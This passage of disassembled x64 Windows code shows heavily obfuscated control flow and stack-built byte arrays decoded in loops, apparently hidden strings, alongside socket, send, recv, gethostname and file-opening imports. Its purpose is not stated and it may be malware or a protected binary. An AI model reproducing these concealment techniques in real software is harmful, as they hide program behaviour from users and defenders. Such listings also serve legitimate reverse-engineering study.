lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x530]
jmp 0x14011e8e1
movabs rcx, 0x8335b4f2aba35e04
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x530]
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x14011e965
movabs rdx, 0x7287b89d67a3b62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e999
movabs rcx, 0xf13d97f006b97006
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x14011e92f
movabs rdx, 0xe2a1003426e3931e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e8bd
movabs rcx, 0xd4046878470db636
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
movabs rcx, 0xf8404325c3c2f856
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, cl
mov byte [rbp + r10 + 0x530], r9b
jmp 0x14011e8ba
movabs rdx, 0xbe1984de774ceada
mov ecx, 5
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
add r11, r15
sub r10, r15
jmp 0x14011e9fe
movabs rdx, 0xaf7ced2297770df2
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xff8e8f03b3ade6ca
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x530], dl
jmp 0x14011e92f
movabs rcx, 0xa82ea144a78c1f7e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011e9fe
mov r9, r8
movabs rdx, 0x99920988c7b64296
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
movabs rdx, 0x6dcdae1a398d53e
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x530], al
add r11, r15
add rax, r11
sub r10, rax
movabs rcx, 0x8a8400d09b8e4c78
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rbp + r10 + 0x530], r9b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14011e9ef
movabs rdx, 0x8af571cce7e065ae
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x530]
add rax, r11
add r10, rax
add r10, r15
jmp 0x14011ded0
movabs rdx, 0x65d6b526d286f122
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011dec9
movabs rdx, 0x5e886948e29c02ae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011deb9
lea rcx, [rbp + 0x16c2028]
jmp 0x14011ea6b
lea rcx, [rbp + 0xa19762]
jmp 0x14011ea6b
lea rcx, [rbp + 0x530]
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140123b84
mov byte [rbp + 0xb90], 0x9b
mov byte [rbp + 0xb91], 0x59
mov byte [rbp + 0xb92], 0x80
mov byte [rbp + 0xb93], 0x5b
mov byte [rbp + 0xb94], 0xa0
mov byte [rbp + 0xb95], 0x45
mov byte [rbp + 0xb96], 0xbb
mov byte [rbp + 0xb97], 0x47
mov byte [rbp + 0xb98], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xb99], 0x41
mov byte [rbp + 0xb9a], 0xaf
mov byte [rbp + 0xb9b], 0x43
mov byte [rbp + 0xb9c], 0xde
mov byte [rbp + 0xb9d], Ordinal_79
mov byte [rbp + 0xb9e], 0xdd
mov byte [rbp + 0xb9f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xba0], 0xac
mov byte [rbp + 0xba1], Ordinal_79
mov byte [rbp + 0xba2], 0x86
mov byte [rbp + 0xba3], Ordinal_79
mov byte [rbp + 0xba4], 0x99
mov byte [rbp + 0xba5], 0x75
mov byte [rbp + 0xba6], 0x98
mov byte [rbp + 0xba7], 0x77
mov byte [rbp + 0xba8], __WSAFDIsSet
mov byte [rbp + 0xba9], WSACleanup
mov byte [rbp + 0xbaa], 0xef
mov byte [rbp + 0xbab], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xbac], 0xe8
mov byte [rbp + 0xbad], 0x7d
mov byte [rbp + 0xbae], 0xe2
mov byte [rbp + 0xbaf], 0x7f
mov byte [rbp + 0xbb0], 0x9c
mov byte [rbp + 0xbb1], 0x79
mov byte [rbp + 0xbb2], 0xbb
mov byte [rbp + 0xbb3], 0x7b
mov byte [rbp + 0xbb4], 0xf4
mov byte [rbp + 0xbb5], 0x65
mov byte [rbp + 0xbb6], 0xf6
mov byte [rbp + 0xbb7], 0x67
mov byte [rbp + 0xbb8], 0xac
mov byte [rbp + 0xbb9], 0x61
mov byte [rbp + 0xbba], 0x83
mov byte [rbp + 0xbbb], 0x63
mov byte [rbp + 0xbbc], 0xf0
mov byte [rbp + 0xbbd], WSASetLastError
mov byte [rbp + 0xbbe], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbbf], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xbc0], Ordinal_143
mov byte [rbp + 0xbc1], WSAGetLastError
mov byte [rbp + 0xbc2], 0xa7
mov byte [rbp + 0xbc3], WSASetLastError
mov byte [rbp + 0xbc4], 0x88
mov byte [rbp + 0xbc5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xbc6], 0xfe
mov byte [rbp + 0xbc7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xbc8], 0xfd
mov byte [rbp + 0xbc9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xbca], 0x80
mov byte [rbp + 0xbcb], reloc.WS2_32.dll_send
mov byte [rbp + 0xbcc], 0xfd
mov byte [rbp + 0xbcd], Ordinal_32
mov byte [rbp + 0xbce], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xbcf], Ordinal_32
mov byte [rbp + 0xbd0], 0xfa
mov byte [rbp + 0xbd1], Ordinal_27
mov byte [rbp + 0xbd2], 0xf3
mov byte [rbp + 0xbd3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xbd4], __WSAFDIsSet
mov byte [rbp + 0xbd5], 5
mov byte [rbp + 0xbd6], 6
mov byte [rbp + 0xbd7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbd8], xmm0
mov qword [rbp + 0xbe8], rax
mov dil, byte [rsp + 0x50]
movabs rsi, 0x9ef08ee37fe4627c
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x60
jae 0x14011f6bb
movzx r8d, byte [rbp + r10 + 0xb90]
mov edx, r8d
cmp rbx, r10
ja 0x14011f6b2
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14011ed09
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2c
jmp 0x14011ed36
je 0x14011f637
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14011f5e5
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14011f585
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14011f55e
cmp r9, r10
ja 0x14011f6a9
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14011ed65
lea rcx, [r10 + rsi]
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x14011ed99
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14011f512
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14011f4ee
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14011f4cb
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14011f4a7
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14011f0d0
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14011f0ad
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14011f099
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14011f075
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14011f051
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14011f02e
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14011f007
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14011f68e
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14011f66a
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14011eebe
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14011eff0
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14011efc1
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14011eda6
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14011efad
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14011ef9c
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14011ef79
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14011ef52
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14011ef2b
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14011ef07
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14011eee4
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14011eda6
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x14011ed99
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14011f530
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14011f559
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011f57d
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011f5d5
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14011f46b
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14011f016
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14011f1b9
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xb90], dil
jmp 0x14011f662
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14011f0e6
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011f602
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14011f46b
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14011f5d5
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14011f57d
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011f4fd
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14011f530
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14011f1a1
lea rdx, [r10 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14011f444
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14011f286
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x80
jae 0x14011f41c
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14011f32c
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x14011efe3
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14011f533
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011f1d1
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011f653
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011f1fd
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14011f46b
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011f22a
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14011f5d2
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14011f256
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x14011f5a4
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14011f0f6
movabs rdx, 0x6dd559e20be47db8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14011f530
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011f2b2
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x14011f530
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011f2cf
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14011f4fd
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011f2fc
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14011f5d5
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14011f133
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14011f46e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011f349
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14011f1b9
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011f375
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x14011f026
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14011f3a2
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14011f5d2
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14011f3bf
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14011f594
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14011f3ec
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14011f57d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011f16f
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14011f559
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xb90]
sub dil, al
sub dil, 0x20
jmp 0x14011f5a1
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xb90]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xb90], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x14011f602
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x14011f5d5
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14011f5a4
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011f559
movabs rdx, 0x64ef1666e167d994
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r10 + 0xb90], r8b
add r9, r15
jmp 0x14011f57d
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, r15
jmp 0x14011f662
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, dil
mov byte [rbp + r10 + 0xb90], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011f662
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xb90], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14011f653
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xb90]
add rax, r9
add r10, rax
add r10, r15
jmp 0x14011ecc7
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x14011ecc4
lea rcx, [r10 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x14011ecb4
lea rdx, [rbp + 0x16a0da0]
jmp 0x14011f6c2
lea rdx, [rbp + 0x6bc92c]
jmp 0x14011f6c2
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x3c0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov esi, 0x108
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x17d0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011f6f9
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x17d0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x17d0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x17d0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x800], 0x9b
mov byte [rbp + 0x801], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x802], 0x90
mov byte [rbp + 0x803], 0xdb
mov byte [rbp + 0x804], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x805], Ordinal_217
mov byte [rbp + 0x806], 0x7b
mov byte [rbp + 0x807], Ordinal_217
mov byte [rbp + 0x808], 0x43
mov byte [rbp + 0x809], Ordinal_211
mov byte [rbp + 0x80a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x80b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x80c], 0x5e
mov byte [rbp + 0x80d], Ordinal_211
mov byte [rbp + 0x80e], 0x5d
mov byte [rbp + 0x80f], Ordinal_211
mov byte [rbp + 0x810], WSASetLastError
mov byte [rbp + 0x811], 0xc9
mov byte [rbp + 0x812], 0x7a
mov byte [rbp + 0x813], 0xcb
mov byte [rbp + 0x814], Ordinal_79
mov byte [rbp + 0x815], Ordinal_200
mov byte [rbp + 0x816], 0x64
mov byte [rbp + 0x817], Ordinal_200
mov byte [rbp + 0x818], 0x54
mov byte [rbp + 0x819], 0xc1
mov byte [rbp + 0x81a], 0x5b
mov byte [rbp + 0x81b], Ordinal_200
mov byte [rbp + 0x81c], 0x9f
mov byte [rbp + 0x81d], 0x3d
mov byte [rbp + 0x81e], 0x9a
mov byte [rbp + 0x81f], 0x3f
mov byte [rbp + 0x820], 0x84
mov byte [rbp + 0x821], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x822], 0xa8
mov byte [rbp + 0x823], Ordinal_60
mov byte [rbp + 0x824], 0xad
mov byte [rbp + 0x825], gethostname
mov byte [rbp + 0x826], 0xb8
mov byte [rbp + 0x827], Ordinal_60
mov byte [rbp + 0x828], 0xad
mov byte [rbp + 0x829], Ordinal_50
mov byte [rbp + 0x82a], 0xa0
mov byte [rbp + 0x82b], gethostname
mov byte [rbp + 0x82c], 0xbf
mov byte [rbp + 0x82d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x82e], 0x78
mov byte [rbp + 0x82f], Ordinal_50
mov byte [rbp + 0x830], Ordinal_143
mov byte [rbp + 0x831], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x832], 0xb3
mov byte [rbp + 0x833], Ordinal_46
mov byte [rbp + 0x834], 0xb2
mov r14d, Ordinal_41
mov byte [rbp + 0x835], r14b
mov byte [rbp + 0x836], Ordinal_41
mov byte [rbp + 0x837], Ordinal_41
xor eax, eax
mov qword [rbp + 0x838], rax
mov dword [rbp + 0x840], eax
mov word [rbp + 0x844], ax
mov byte [rbp + 0x846], al
mov bl, byte [rsp + 0x50]
lea r12d, [r14 + 0xf]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x140120407
movzx r8d, byte [rbp + r9 + 0x800]
mov rdx, r8
cmp rdi, r9
ja 0x1401203fe
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14011f947
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x14011f97e
je 0x14012037b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012034c
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14012032a
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401202dc
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401203f5
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14011f9af
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14011f9f0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401202cb
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401202a8
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140120260
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14012023a
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401201af
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14011fe4e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011fe28
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14011fe06
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011fdf2
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14011fdd0
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14011fdaa
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14011fd88
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14011fd76
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401203d3
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401203ad
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14011fb9e
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14011fb78
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14011fb56
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14011fd5f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14011fcd9
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14011fcb3
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14011fc91
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14011fc7d
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14011fc5b
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14011fc39
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14011fc18
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14011fbf6
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14011fbe2
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14011fbc0
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14011f9fd
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14011f9fd
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14011f9f0
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011f97e
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14011f90f
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
